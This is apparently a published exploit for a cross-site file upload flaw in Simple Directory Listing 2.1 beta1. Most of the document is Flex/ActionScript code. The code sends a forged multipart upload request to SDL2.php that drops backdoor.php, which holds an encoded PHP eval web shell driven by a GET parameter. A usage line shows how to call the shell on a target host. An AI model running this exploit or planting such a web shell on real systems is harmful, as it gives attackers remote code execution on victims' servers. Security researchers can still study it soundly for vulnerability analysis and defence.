Simple Directory Listing 2 - Cross Site File Upload -------------------------------------------------------------------------------- /* Written by Michael Brooks VUlerablity type: Cross Site File Upload. Affects: SDL 2.1 beta1 Product homepage: http://simpledirectorylisting.net/ SDL has 22+ million downloads from sourceforge.net! The top three php projects where hacked in one day using . Exploit built using Flex 3.2 (http://www.adobe.com/go/flex_trial) uploads ./backdoor.php in the same directory as SDL2.php Backdoor Useage: http://10.1.1.155/backdoor.php?e=phpinfo(); backdoor code: More info on Cross Site File Upload Attacks: http://www.gnucitizen.org/blog/cross-site-file-upload-attacks/ Inspired by the work of Petko D. Petkov; pdp * GNUCITIZEN **/ import flash.net.*; private function onAppInit():void{ var request:URLRequest = new URLRequest("http://10.1.1.155/SDL2.php?action=module&module=ModuleUpload&moduleParams[action]=upload&moduleParams[cwdRelPath]="); request.requestHeaders.push(new URLRequestHeader('Content-Type', 'multipart/form-data; boundary=---------------------------109092118919201')); request.data = unescape('-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22file%22%3B filename%3D%22backdoor.php%22%0D%0AContent-Type%3A text%2Fplain%0D%0A%0D%0A%3C%3Fphp eval%28stripslashes%28%24_GET%5Be%5D%29%29%3F%3E%0D%0A-----------------------------109092118919201%0D%0AContent-Disposition%3A form-data%3B name%3D%22upload%22%0D%0A%0D%0AUpload%0D%0A-----------------------------109092118919201--%0A'); request.method = URLRequestMethod.POST; navigateToURL(request, '_self'); }